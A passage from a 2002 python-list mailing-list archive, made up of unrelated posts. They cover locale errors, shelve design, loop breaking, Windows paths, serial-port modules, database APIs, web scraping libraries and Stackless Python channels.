win32api" in order to make an exact file copy on windows? From loewis at informatik.hu-berlin.de Sat May 11 03:34:35 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 11 May 2002 09:34:35 +0200 Subject: unknown locale de_DE@euro References: Message-ID: "vincent wehren" writes: > The locale de_DE at euro (which I uses ISO-8859-15 as encoding), as used by > e.g. SuSe 8.0 Linux,is not (yet) regognized by the locale module of > Python2.2. A ValueError is raised when calling the module's > "getdefaultlocale()" method. How can one go about handling this? Should one > add it to the encoding aliases in locale.py? Any suggestions? I recommend to either ignore or fix locale.getdefaultlocale; as is, it is utterly broken. Why do you need it? If you want to obtain the locale's charset, use locale.nl_langinfo(locale.CODESET) (after performing setlocale). HTH, Martin From aleax at aleax.it Wed May 8 01:48:58 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 8 May 2002 07:48:58 +0200 Subject: survey: is shelve broken? should it be fixed? In-Reply-To: <20020507221623.GP4604@devel.trillke> References: <60FB8BB7F0EFC7409B75EEEC13E20192215173@admin56.narex.com> <02050723584800.09434@arthur> <20020507221623.GP4604@devel.trillke> Message-ID: On Wednesday 08 May 2002 12:16 am, holger krekel wrote: ... > Might i ask whether you read my suggestion to > implement the "smart"-switch at the global module level? Yes, you might:-). Unfortunately, globals always have downsides as well as sometimes pluses. Say my program uses frameworks A, B, and C. How ever should I know which of those frameworks uses shelve, and how it uses it? What if framework B happens to need shelve's old behavior -- how shall a global flag in module shelve deal with that? If shelve.open's behavior is controlled with a local argument, each shelve.open is responsible to know whether it needs old or new behavior or is indifferent. This is doable. If the control is less fine-grained, and must apply to ALL shelve.open's in several independently developed frameworks used by the same program, I don't think the problem is even theoretically solvable. It's convenient for middling/small programs which have a few calls to shelve all under the program author's control. It's poisonous for very large programs. Globals are often this way. Handy for a middling program, disaster as the program scales up. If you've ever participated in developing really large programs I'm sure you know this, and only need to be reminded. Do we REALLY want to add huge difficulties for authors of very large programs (who already have many others) to add a small convenience for authors of small/midddling programs? Maybe we collectively do. Personally, since small/middling programs give me so few problems in Python, I wouldn't skew architecture in their favor -- on really large programs, despite all of Python's pluses, I _still_ need all further help I can get. Eschewing globals IS further help for very large programs. Thus, if the decision was up to me, i'd eschew globals. Alex From danielk at aracnet.com Thu May 23 23:46:47 2002 From: danielk at aracnet.com (Daniel Klein) Date: Thu, 23 May 2002 20:46:47 -0700 Subject: Parsing command line options References: <3nmqeu837rvb7laatj4pfaeblgu853siu1@4ax.com> Message-ID: Thanks to all, got it all sorted out. The misconception was that I could specify the options like you do in unix, ie, python [options] mymodule.py Thanks for help and tips. Dan On Thu, 23 May 2002 16:55:37 -0500, "Mark McEahern" wrote: >You should check out optik. It rocks. Also, it's been proposed as an >addition to the standard library--not sure what stage that's at, whether >it's to be included in 2.3? Anyway, you'll find it here: > > http://optik.sourceforge.net/ > >// mark From aleax at aleax.it Thu May 2 18:14:08 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 22:14:08 GMT Subject: Python vs. Perl, which is better to learn? References: <9IcA8.90097$vF6.2684221@news2.tin.it> Message-ID: Aahz wrote: >>for line in fileinput.input(): >> if there.search(line): print line, > > Thanks! I don't really like "print line,", because it adds an extra > space that wasn't there before, Where do you think it adds that space...? [alex at lancelot indomo]$ cat -E prova uno due tre$ sei due cinque$ palik palok$ tre due uno$ [alex at lancelot indomo]$ python mygrep.py due prova | cat -E uno due tre$ sei due cinque$ tre due uno$ [alex at lancelot indomo]$ > so I prefer sys.stdout.write(). It's a matter of taste, though. I like sys.stdout.write, too, but I'm still perplexed by the "adds an extra space that wasn't there before" assertion. You *are* familiar with print's "softspace" mechanism, surely? Is there some peculiar corner case that I'm failing to think of...? Alex From nospam at bigfoot.com Wed May 29 14:03:40 2002 From: nospam at bigfoot.com (Gillou) Date: Wed, 29 May 2002 20:03:40 +0200 Subject: No parsers found... References: <921D7A043jhewebdeagde@194.45.170.159> Message-ID: > > Most certainly. You need to edit Modules/Setup to point it to your > expat installation, to make use of the pyexpat module that comes with > Python. AFAIK, We don't need to install expat separately at Python configure/make/make install dance. It's packaged in PyXML. Just need to... $ cd /path/to/PyXML $ python setup.py build $ python setup.py install But I think the built expat is suitable only to Python. Please correct me if I'm wrong --Gilles From arena at pacific.net.sg Sun May 19 00:59:33 2002 From: arena at pacific.net.sg (Matthew Chong) Date: Sun, 19 May 2002 12:59:33 +0800 Subject: how to perform session management in python ? Message-ID: how ?? From jtdubs at eos.ncsu.edu Wed May 29 21:27:04 2002 From: jtdubs at eos.ncsu.edu (Justin Dubs) Date: Thu, 30 May 2002 01:27:04 GMT Subject: matching one time through a loop References: Message-ID: You can do it just as you would in perl. The python equivalent of "last" is "break", more or less. >>> for i in range(10): ... print i ... if (i == 2): ... break 0 1 2 Hope this helps, Justin Dubs "Corey G." wrote in message news:mailman.1022721348.30810.python-list at python.org... > I have a script that parses some email from a Maildir directory > and I am looking for the number 550. I want to stop searching once > the first occurrence is found in order to save time and be efficient. > This sort of thing can be done in Perl using the "last" statement. > I achieved my goal by using a counter but it seems terribly inefficient. > Any ideas? > > > #!/usr/local/bin/python > > import re > import glob > > tglob=glob.glob('/home/pmail/Maildir/test3/*') > > for i in tglob: > count=0 > file=open(i, 'r') > contents = file.readlines() > > for sepem in contents: > tm=re.compile(" 550 ") > match=tm.search(sepem) > if match: > if count == 0: > count+=1 > print match.group(), i > > -- > Best Regards, > Corey > > From cbbrowne at acm.org Sun May 12 16:50:33 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Sun, 12 May 2002 16:50:33 -0400 Subject: python, a scripting language? References: Message-ID: Centuries ago, Nostradamus foresaw when "Erlend J. Leiknes" would write: > A friend of mine which is a java programmer insists on that python is > scripting language... > > I belive the term "script" is outdated because of "precompilation". > The term for a script-language is that you write and run your program as > text? Step back a bit further, and you find that "scripting" was done in specially constructed "little languages" that would control how the _real_ programs, written in _real_ languages like COBOL, FORTRAN, and PL/1 (and other such LANGUAGES IN CAPITAL LETTERS :-)) would get invoked. In these more modern days, you often don't need a "scripting language;" you can construct programs in Python, Perl, or such, and invoke it pretty much directly. You don't need JCL to run your Python code... -- (reverse (concatenate 'string "gro.gultn@" "enworbbc")) http://www3.sympatico.ca/cbbrowne/scripting.html He who laughs last thinks slowest. From aleax at aleax.it Mon May 13 04:01:57 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 13 May 2002 08:01:57 GMT Subject: os.spawnl problem under windows... References: Message-ID: Max wrote: ... >> In most cases you can also use normal / slashes instead of back \ ones, >> but I don't recall if os.spawnl is among those 'most cases'. >> > Thanks.__VERY__ much!!! :) You're welcome! > However (i tried...) the normal / slash works even with spawnl, i suppose > i will start using slashes instead of back-slashes... :) Good! Just take care when you're running some other, external program, be it with os.system, os.popen, os.spawn -- while you may be able to pass the path *to the other program* with normal slashes, any *arguments* to the other program will probably need backslashes, unless the other program is clever enough to interpret slashes correctly (most Windows programs use slashes for options, and thus need backslashes for filepath args). When you do need backslashes in a literal string, to be used as the argument of some other program, doubling them up and rawstrings are your choices. Rawstrings cannot end with an odd number of \ , which is probably inevitable but still sometimes surprising... Alex From sandskyfly at hotmail.com Thu May 9 18:36:34 2002 From: sandskyfly at hotmail.com (Sandy Norton) Date: 9 May 2002 15:36:34 -0700 Subject: high-performance python web frameworks References: Message-ID: brueckd at tbye.com wrote in message news:... > On 9 May 2002, Sandy Norton wrote: > > > Has anybody made a side-by-side comparison of the performance of > > python-oriented web frameworks? > > What type of performance? Generating dynamic pages, serving small objects, > serving large objects, managing disk/database use? (is the application > network-, disk-, database-, or cpu-intensive/bound?) > > Also, what are your performance needs? For most people any of the web > frameworks will give you more performance than you actually need. 200,000+ users (db-intensive application with mostly dynamic pages) From peter at engcorp.com Wed May 15 19:58:30 2002 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 May 2002 19:58:30 -0400 Subject: Newbie - does Python have DB Independent interface? References: Message-ID: <3CE2F626.A8D69B1E@engcorp.com> Hardy Merrill wrote: > Steve Holden [sholden at holdenweb.com] wrote: > > "Hardy Merrill" wrote: > > > I come from the Perl world, and am starting to learn Python. > > > Perl has the DBI module which is a Database Independent interface - > > > > > > Does Python have anything similar [...] ? > > > > > You mean something like > > > > http://www.python.org/topics/database/DatabaseAPI-2.0.html ? > > Yes, exactly! As I said, I'm just getting started with Python, > and haven't yet made it through all the docs. In the future, you'll find that prefixing any question posed to Google with the word "python" helps a lot, like this: http://www.google.ca/search?q=python+database -Peter From anangia at mailcity.com Sat May 25 17:14:26 2002 From: anangia at mailcity.com (SneakerNet) Date: Sun, 26 May 2002 09:14:26 +1200 Subject: RS232 + python... References: Message-ID: Hey Franz Thanks for the reply ok i'm running win2k, python version 2.2.1 as mentioned in my original post i downloaded the 'uspp' files from the site. i unzipped the file and there were couple of .py files (and some readmes and txt) now maybe u can answer this where should i unzip those .py files to (i have a feeling i might have unzipped them to the wrong dir).. also do i have complie them or anything like that.. (the main files i guess would be uspp.py and SerialPort_win.py) anyway presuming i have instlled them in the right dir (which is $python/Lib) when i type this command at the python shell (from uspp import *) i get the following error: ---------------------------------------- >>> from uspp import * Traceback (most recent call last): File "", line 1, in ? from uspp import * File "C:\PROGRA~1\Python2.2\uspp.py", line 187, in ? from SerialPort_win import * File "C:\PROGRA~1\Python2.2\SerialPort_win.py", line 44, in ? from win32file import * ImportError: No module named win32file ------------------------------------------ can u pls help me out ?? Regards "F. GEIGER" wrote in message news:acnvuk$1l4$1 at newsreaderg1.core.theplanet.net... > What exactly is the problem? What's the error message? > > I work with PySerial on a win2k box and on a nt4 box. The former runs Python > 2.1.3, the latter 2.2.1. It works really fine for me, on both machines. Have > a look at it. Installing it is, as usually with Python modules, a snap. 1 > minute for the install, 1 minute for reading the readme, 1 minute for a > script of your own ;-). > > Cheers > Franz GEIGER > > "SneakerNet" schrieb im Newsbeitrag > news:HrHH8.2868$EZ5.397336 at news.xtra.co.nz... > > Hey all.. > > For our project I have to make a GUI to be able to set values to a device > > hooked up to the serial port.. > > I started with matlab but found some complications as i had some trouble > > under winNT @ university.. > > > > so decided to switch to python ;o) > > but alas i just found some documentation on how to do RS232 communication > > but the modules that i have downloaded from this site > > http://balder.prohosting.com/ibarona/en/python/uspp/uspp_en.html > > > > but when i try the first line which is "from uspp import *" i get a error. > > can someone pls help me out.. From what i have found out by reading the > > documents on uspp is that it was only tested under win95 and i have a > > feeling that it might not work under win2k. > > > > can someone pls pls help me out > > > > Regards > > > > > > > > From sholden at holdenweb.com Mon May 6 17:41:29 2002 From: sholden at holdenweb.com (Steve Holden) Date: Mon, 6 May 2002 17:41:29 -0400 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> Message-ID: "Fernando P?rez" wrote in message news:ab6rvq$ka4$1 at peabody.colorado.edu... > Raymond Hettinger wrote: > > >> I am trying to get the math module to deal with degrees rather than > >> radians. (that it deals with radians for the angular functions like > >> sin() isn't mentioned in the docs, which was sort of an eyeopener :) I > >> can't find any info on doing this. I can convert from-to degrees in the > >> code calling the function, but that's a bit clunky. Any pointers to an > >> FM to R? :) > > > > There is a patch for adding degree/radian conversions. > > See http://www/python.org/sf/552452 > > Sorry to sound critical, but I doubt this will make it in (and I hope it > doesn't). Reason: bloat. Yes, it's only two functions, but still, bloat is > bloat. Plus, if you really need those conversions, it's less typing and more > efficient (no function call) to simply use a multiplicative constant: > > In [7]: to_rad = pi/180 Let's make that pi/180.0 so it works before the division unification takes place, shall we? > > In [8]: to_deg = 1/to_rad > > In [9]: sin pi/4 > ------> sin (pi/4) Similarly this should be pi/4.0 > Out[9]: 0.70710678118654746 > > In [10]: sin 45*to_rad > -------> sin (45*to_rad) > Out[10]: 0.70710678118654746 > > In [11]: (pi/4)*to_deg > Out[11]: 45.0 > > I realize you have good intentions, but I truly don't think that in this case > the benefits outweigh the cost. OTOH, one could add a comment in the > docstrings to the effect of 'trig functions expect arguments in radians', > since it does seem to cause confusion among newbies. > But these would be maths newbies as well as Python newbies. The comment is a good idea. regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From gb at cs.unc.edu Sat May 11 16:07:42 2002 From: gb at cs.unc.edu (gb at cs.unc.edu) Date: 11 May 2002 16:07:42 -0400 Subject: idle and the devil References: Message-ID: Do you use a "wheel mouse"? I had a very similar problem in Emacs. It drove me crazy. Then I realized that when I used the wheel to scroll I occasionally got a middle button event which was bound to "paste". So, scattered through my file at seemingly random places would be stuff that I copied or deleted earlier. Does this sound like what is happening to you? gb From george at cc.gatech.edu Tue May 21 10:39:46 2002 From: george at cc.gatech.edu (George Thomas) Date: Tue, 21 May 2002 10:39:46 -0400 Subject: performance: initializing dictionary elements Message-ID: Hi everyone, As part of a project I had to initialize elements in a large dictionary. I found Skip Montanaro's page of performance tips and the subsection "Initializing Dictionary Elements" presented an optimization using exceptions instead of conditional looping. I tried this out for my operation (which was the same one incidentally, a full-text index) but found that performance actually suffered. I'm using Python 2.1.1. Does anyone have any idea why this would happen? rgds -- ------------------------------------------------------------------------- who : george thomas what : MSCS student where : college of computing/georgia institute of technology business: Database Lab (CCB 104a) email : george at cc.gatech.edu phone : (404) 894-7008 that is all ------------------------------------------------------------------------- From jjl at pobox.com Sat May 25 13:59:00 2002 From: jjl at pobox.com (John J. Lee) Date: Sat, 25 May 2002 18:59:00 +0100 Subject: [newbie] Is Python what I'm looking for? In-Reply-To: <19eteugnbcppsh0s1kj7gvjr3jvtvfldt2@4ax.com> References: <19eteugnbcppsh0s1kj7gvjr3jvtvfldt2@4ax.com> Message-ID: On Fri, 24 May 2002, Giulio Cespuglio wrote: [...] > My aim is to automatically get specific pieces of information from a > website, simulating the behaviour of a user filling in HTML forms and > clicking buttons (a web robot?), then embed them in my HTML page. [...] > Does Python provide libraries that could help me? Could you please > give me some keywords/pointers? I'm completely new to Python. You don't state whether or not you've done any programming before. If you have, I would say you're better off with Python. If not, though Python is a far saner language than Perl and takes much less time to learn to use well, Perl has the advantage of a very mature web client library, libwww-perl. If you have no programming experience and want to get the job done and never write another program again, you may prefer Perl for this specific task. Otherwise, IMO, use Python. If you need cookies (in Python), you'll probably find this useful: http://wwwsearch.sourceforge.net/ClientCookie For forms, I don't know of any library to make it trivial, but of course you can just use urllib, or better, urllib2. There is a crummy form parser and a form-filler buried in this tarball (in _Util.py -- for usage see _WoSSearch.py): http://wwwsearch.sourceforge.net/wos/WoSSearch.tar.gz but it *is* a mess ATM. HTH John From kragen at pobox.com Mon May 20 01:44:55 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 20 May 2002 01:44:55 -0400 Subject: Passing on variable arguments References: <3csA8.41706$8D3.1225940@news1.tin.it> Message-ID: <83znyvs78o.fsf@panacea.canonical.org> "James T. Dennis" writes: > But it gets uglier if you want to use apply() with a prototype that > matches A(): > > def D(x, *args): > args = list(args) > args.insert(0, x) > apply(A, args) A slight simplification is apply(A, (x,) + args) --- yay functional operators! From sholden at holdenweb.com Fri May 10 11:52:35 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 11:52:35 -0400 Subject: NameError: Case mismatch for module name sys References: <3cdbe559$0$155@ams2eusosrv31.ams.ops.eu.uu.net> Message-ID: "Martin Erren" wrote ... > Hello, > > in a package named "Sys" (not of my own). I need: > > import traceback, sys > > Then I get > > "NameError: Case mismatch for module name sys" > (filename lib\Sys\Sys.py) > > I don't need "Sys" in the package, > but "sys" in the python-standard lib. > > Is the namespace case-insensitive, but I have to address > it case-sensitive? > The problem arises because Python has to deal not only with Linux and other environments where the filesystem is case-sensitive, but also with Windows and others where it isn't. > Can I "leave" the package-Directory in imports explicitely? > Not quite sure what this question means -- whoever provided you with this package doesn't appear to be very experienced with Python. What exactly is it you want to do? regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From tim.golden at viacom-outdoor.co.uk Thu May 23 03:28:51 2002 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Thu, 23 May 2002 08:28:51 +0100 Subject: OT: off-topic Message-ID: <5F5E25C9F098D3119F140008C784457304DFD13A@tdi_nt9.tdi.co.uk> Isn't this similar to (someone-or-other's) proof that there's no such thing as an uninteresting number? The idea is that you have a list of numbers which are "interesting" for some reason, eg 4 & 6 are the sum of their factors etc. You are then left with a list of "uninteresting" numbers. However, the smallest number in this list is the smallest uninteresting number, and is therefore interesting, so it moves to the list of interesting numbers, leaving you with the smallest remaining uninteresting number, which therefore becomes interesting, etc. etc. TJG -----Original Message----- From: Fernando P?rez [mailto:fperez528 at yahoo.com] Sent: 23 May 2002 06:35 To: python-list at python.org Subject: Re: OT: off-topic Greg Ewing wrote: > Why stop at a Python-specific solution? Off-topic > postings are a problem in all newsgroups, so I > propose a single group: > > news.off-topic > > for all off-topic posts on any subject. The only > trouble is that, in that group, off-topic posts > would be on topic, and therefore not suitable > for news.off-topic... excuse me, my brain is > about to explode... > Very nice :) Basically you got the Russell paradox (more or less), which turned set theory on its head at the turn of the century. Cheers, f. ________________________________________________________________________ This e-mail has been scanned for all viruses by Star Internet. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From juenglin at informatik.uni-freiburg.de Tue May 28 09:13:41 2002 From: juenglin at informatik.uni-freiburg.de (Ralf Juengling) Date: 28 May 2002 06:13:41 -0700 Subject: Is 'isinstance()' the right thing? References: <3CCE5F2A.1103E744@alcyone.com> <3CCEDA38.2559BE98@alcyone.com> Message-ID: "Fredrik Lundh" wrote in message news:... > Erik Max Francis wrote: > > > *BUT*, these (eg. isSequenceType) work only for C extension types, > > > right? > > > > No, they work with any object: > > > > >>> import operator > > >>> operator.isSequenceType([1, 2, 3]) > 1 > > >>> class MyList(list): pass > ... > > >>> operator.isSequenceType(MyList()) > > 1 > > define "work" : > > >>> class NotAList: pass > ... > >>> operator.isSequenceType(NotAList()) > 1 > >>> for item in NotAList(): print item > Traceback (most recent call last): > AttributeError: NotAList instance has no attribute '__getitem__' > > (the isSequenceType predicate checks if the object's type > implements the C-level __getitem__ slot. that's not always > what you want...) > > But even docs can't tell me, what I want. Snippet from the operator module documentation: " isSequenceType(o) Returns true if the object o supports the sequence protocol. This returns true for all objects which define sequence methods in C, and for all instance objects. Warning: There is no reliable way to test if an instance supports the complete sequence interface since the interface itself is ill-defined. This makes this test less useful than it otherwise might be. " Why is the sequence interface 'ill-defined'? This is just a matter of agreement on a definition, I guess? BTW: The Python docs use 'interface' and 'protocol' synonymic? Ralf From thenault at nerim.net Wed May 1 05:40:49 2002 From: thenault at nerim.net (Sylvain Thenault) Date: 01 May 2002 11:40:49 +0200 Subject: python cryptography toolkit Message-ID: <87it68b3z2.fsf@tux.ntw23.fr> hello the list, I've found some documentation about the pct [1] but the tarball I've downloaded [2] fail to compile since it's written using the Python 1.4 api. I'm very interested in this package and wish to know if it is still maintened (in this case I must have missing something in my google search ;) or if there is a newer equivalent package ? [1] http://www.python.org/workshops/1995-05/pct.html [2] ftp://ftp.cwi.nl/pub/pct/pycrypt100.tgz -- Sylvain Th?nault From giulio.agostini.remove.this at libero.it Fri May 24 18:05:44 2002 From: giulio.agostini.remove.this at libero.it (Giulio Cespuglio) Date: Fri, 24 May 2002 22:05:44 +0000 (UTC) Subject: [newbie] Is Python what I'm looking for? Message-ID: <19eteugnbcppsh0s1kj7gvjr3jvtvfldt2@4ax.com> Hi there, My aim is to automatically get specific pieces of information from a website, simulating the behaviour of a user filling in HTML forms and clicking buttons (a web robot?), then embed them in my HTML page. In other words, the pages I need to access are not accessible from a standard URL. The other part of the problem is of course parsing the resulting HTML and extracting the pieces of info I need. Does Python provide libraries that could help me? Could you please give me some keywords/pointers? I'm completely new to Python. I would of course set up my web server under windows (Apache?) and the necessary plugin. Can you think of a better way of doing this? Another scripting language perhaps? Thank you very much! Giulio From tismer at tismer.com Mon May 20 03:51:38 2002 From: tismer at tismer.com (Christian Tismer) Date: Mon, 20 May 2002 09:51:38 +0200 Subject: Ann: Stackless Limbo Dancing Works Fine! References: Message-ID: <3CE8AB0A.3090905@tismer.com> Fernando Pereira wrote: [about PAR etc.] [me, comparing it to my stuff] > I've not looked at this stuff since the mid 80s, but my recollection is that > the too pools are needed because task scheduling in Cardelli's scheme is > non-preemptive, independent of readiness to perform a communication on a > channel. That is, actual rendezvous may occur after both reading and writing > tasks are ready to communicate. I understand. I did my own design without preemptive scheduling as well, but built the needed scheduling into the send/receive calls. It is outlined below. >>Interesting is that they don't even take processes as >>first-class objects. After introducin channels, I also >>found my tasklets less useful than before, and maybe >>they will survive only in a shadowy existance. > > This was designed in the context of languages and formalisms like CSP and > Squeak (Cardelli and Pike's Squeak), in which tasks are not first-class > objects. In the introduction he says "processes are not denotable values". I assume this is a necessary restriction, in order to prevend direct manipulations and to preserve CSP properties? >>Anyway, what I didn't grasp really yet is how to >>implement PAR as a multiple select on a group >>of channels. > > I'm not sure of why you would need this, but maybe I've just been away from > this stuff too long. PAR just puts a bunch of tasks in the runnable pool. This is where I stumbled. For me, it was only one task, waiting for multiple channels. But well, this was just a special case of PAR which I saw in LIMBO. Limbo has a special case where you wait on an array of channels, all for input. The more general case has different code for every branch, and these code pieces appear to be again tiny tasks, right? > When any of them wants to communicate, it suspends in the appropriate > channel queue waiting for a matching communication request (the matching > request may already be available, in which case the scheduler is free to do > the rendezvous and move the satisfied tasks to the runnable pool). In other > words, I don't understand why PAR would need to create a collection from the > channels used by the PARed tasks. Since I thought of the special case of one task waiting for multiple channels, all in the same manner. In the more general case, with a large ALT construct, syntactically like a case, I expect this is done with as many small tasks, together with guards, and then I can imagine to arrange these tasks in groups per channel. You've shed quite some light on it, thanks! ... >>thanks so much for your support, I really need to >>learn more, soon! > > Welcome, and I hope Stackless prospers as it deserves. I'l do my very best to really make deserve it. > PS. For a different but intriguing approach to communication in an OO > framework, check out Cardelli's recent paper on concurrency abstractions for > C#. > > http://research.microsoft.com/Users/luca/Papers/Polyphony%20ECOOP.A4.pdf Whow! I will check that one ASAP. Here the internal comments of my channel stuff. I had to write these explicitly, in order to be able to implement them. Afterwards, it worked on the first shot. /********************************************************** The central functions of the channel concept. A tasklet can either send or receive on a channel. A channel has a queue of waiting tasklets. They are either all waiting to send or all waiting to receive. Initially, a channel is in a neutral state. The queue is empty, there is no way to send or receive without becoming blocked. Sending 1): A tasklet wants to send and there is a queued receiving tasklet. The sender puts its data into the receiver, unblocks it, and inserts it at the top of the runnables. The receiver is scheduled. Sending 2): A tasklet wants to send and there is no queued receiving tasklet. The sender will become blocked and inserted into the queue. The next receiver will handle the rest through "Receiving 1)". Receiving 1): A tasklet wants to receive and there is a queued sending tasklet. The receiver takes its data from the sender, unblocks it, and inserts it at the end of the runnables. The receiver continues with no switch. Receiving 2): A tasklet wants to receive and there is no queued sending tasklet. The receiver will become blocked and inserted into the queue. The next sender will handle the rest through "Sending 1)". */ Note that the above works simply by means of channel functions, which take over the necessary actions of putting tasklets into runnable state or blocking them etc. All my tasklet-related machinery works with a "schedule-on-demand" concept, that means, scheduling is explicitly performed when there is no running tasklet. The rest will be done through a peemptive scheduler, which makes the system schedule when there are no rendevouz actions, but the rendevouz stuff works alone. cheers & thanks again - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From gh_pythonlist at gmx.de Wed May 1 15:35:59 2002 From: gh_pythonlist at gmx.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Wed, 1 May 2002 21:35:59 +0200 Subject: mod_python and form data In-Reply-To: References: Message-ID: <20020501193559.GE1856@lilith.my-fqdn.de> * Jim Henry [2002-05-01 10:39 -0700]: > I'm trying to access form data when using the Publisher handler. I know > that fields can be passed in as parameters, but I do not always know which > fields will be present. The documentation states: > > one must not attept to instantiate FieldStorage when using the Publisher > handler and should use Request.form instead. > > But the documentation on Request DOES NOT MENTION any .form - what's a guy > to do??? Have you looked at the example in the tutorial? http://www.modpython.org/live/mod_python-2.7.8/doc-html/tut-pub.html If you really don't know which field names will come in, you might want to use the **kwargs form of function parameters. Explanation here http://www.python.org/doc/current/ref/function.html if you should not know this form (I didn't for a long time). Gerhard -- This sig powered by Python! Au?entemperatur in M?nchen: 15.0 ?C Wind: 3.8 m/s From aleax at aleax.it Sun May 5 11:55:17 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 05 May 2002 15:55:17 GMT Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> Message-ID: Patrick W wrote: ... > I can't muster any enthusiasm *at all* for Java. But I _do_ like > C#. For a good example of why, check out the source code for the GPL'd > SharpDevelop IDE, and see how clean and comprehensible it is. It's > hard to imagine a C++ version being half as comprehensible, or a Java > version being anywhere near as fast. I may be missing something, but C# strikes me as VERY close indeed to Java -- I can't really understand (on a purely technical plane) liking one and despising the other. I don't see how C# per se should have substantially better performance possibilites than Java, in particular -- it will mostly depend on the MSIL vs JVM performance comparison, of course, but for example once gcc 3's support for Java ahead-of-time compilation to native matures, and assuming a similarly native compiler for C#, why should any have intrinsic performance pluses? They're much of a muchness. Should Generic Java finally get into the mainstream, *that* might temporarily give Java as a language an intrinsic performance plus -- only until C# catches up on genericity, of course:-), since it may as well be bolted on one as the other. I agree that there may be space between C and Python -- coding C extensions and carefully debugging their increfs and decrefs until they're OK often reminds me of that. Java/C#, for all their defects, MAY unfortunately hog that space -- but as I see it they're vying for the _same_ niche. Alex From jacob at boris.cd.chalmers.se.cd.chalmers.se Fri May 17 13:19:08 2002 From: jacob at boris.cd.chalmers.se.cd.chalmers.se (Jacob Hallen) Date: 17 May 2002 17:19:08 GMT Subject: Multibyte Character Surport for Python References: Message-ID: In article , A.Schmolck wrote: >People might be willing to do this if FOO is a really big thing in their lives >but not if they just think FOO sounds like an interesting thing and they want >to learn about it, or FOO might help them with some other problems. > >Would you tell an American kid interested in learning FOO to go and learn >Chinese first? Even if FOO had nothing to do with China and Chinese culture as >such? Yes, I would for a large subset of FOO. If I took up some FOO myself that required knowing Chinese, I would go to the effort of learning enough Chinese to be able to do FOO. If I thought I could write a worthwhile Peking Opera, I think it would be inefficient and wasteful that everyone wanting to take part of my script would have to learn Swedish (or get it translated). It would also make little sense to translate all the classics to Swedish for my benefit. Of course I could maintain my little island of interoperability with all the 3 other Swedish speaking lovers of Peking Opera, but this just adds to the insular character of human endeavour. If we are to reduce barriers to communication and have any chance of reducing organized conflict in the world, we need to get rid of barriers. I think we can do that without losing cultural identity. Jacob Hall?n -- From mhammond at skippinet.com.au Sun May 12 19:10:45 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Sun, 12 May 2002 23:10:45 GMT Subject: Python 2.2.1 Windows / install variables ? References: <3CDE7290.3E28D9BD@usc.edu> <3CDE93AB.4E4607D0@usc.edu> <3CDEB9F4.3307092E@usc.edu> Message-ID: <3CDEF6AF.7030802@skippinet.com.au> Rich Pinder wrote: > I'm not following here John, but I do thank you for the response. > > I have three windows binary installation scripts that I want to add to > my windows machine: > > 05/11/2002 08:29p 888,416 PyXML-0.7.1.win32-py2.1.exe > 05/11/2002 08:47p 1,750,709 4Suite-0.11.1.win32-py2.1.exe > 05/11/2002 09:03p 54,871 gvib-1.8.win32-py2.1.ex > > I have 2.1 installed on the windows machine. > > When I run ANY of these scripts, the second screen on the installs is > titled 'Setup:', and prompts you for 'select python installation to > use:'. Then under the prompt is another window that probably is some > kind of highlight window - except IT IS EMPTY. Below it is a text > entry field titled 'Installation directory' - and it is blank. It is > also 'greyed' out - so it can not get focus. You can't enter anything > into this whole page, and you cant go forward to the next screen - all > you can do is cancel. Is it possible you installed Python itself as "per user", rather than for the entire machine? If so, this is likely your problem, and the simplest solution is probably to uninstall, then re-install ensuring it installed for the entire machine. You will need admin privs for this. Mark. From cbbrowne at acm.org Thu May 9 01:34:21 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Thu, 09 May 2002 01:34:21 -0400 Subject: Python Enterprise Objects References: Message-ID: In an attempt to throw the authorities off his trail, Ian Bicking transmitted: > On Wed, 2002-05-08 at 20:47, Wenshan Du wrote: >> hi,all >> I like python very much, but I find that python is not very suitable >> for enterprise application for now. So, I make a project named Python >> Enterprise Objects for enterprise application at sourceforge.net. I >> want it to be a replacement of J2EE, or Mirosoft .Net framework. Some >> API will added. I need some advice about how to make this dream to >> fact. > > Maybe a good place to start would be by writing a document to explain > why enterprise objects are necessary, and how they differ from present > Python facilities. I haven't used Java myself, but I've tried more than > once to figure out what J2EE was about. Mostly I've just found endless > buzzwords, but when people have tried to explain it without those it > seems to come down to being a mechanism for distributing code. > > Anyway, Java makes a lot of fuss about a lot of things that Python just > does, without any fuss. So maybe you can explain what enterprise > objects are, and why they are needed, and why you can't accomplish the > same things with existing Python facilities. J2EE seems mostly a way of letting Sun charge lots more in licensing fees :-(. More seriously, it tends to involve tighter integration between the language environment and "database stuff" so that when you invoke methods, they are rather more likely to be tied to objects that are persistent even against fairly severe failure. You start up the server again, and a lot of the objects will be able to recover themselves. The context for this sort of thing (frankly, _anything_ beyond "plain old Java") needs to involve pointing a finger at what it is to be applied to. It would be worth "pointing fingers" and saying that an "Enterprise Python" would involve things such as: -> Safe support for multithreading; -> Good support of transactional data stores (whether of SQL or Berkeley 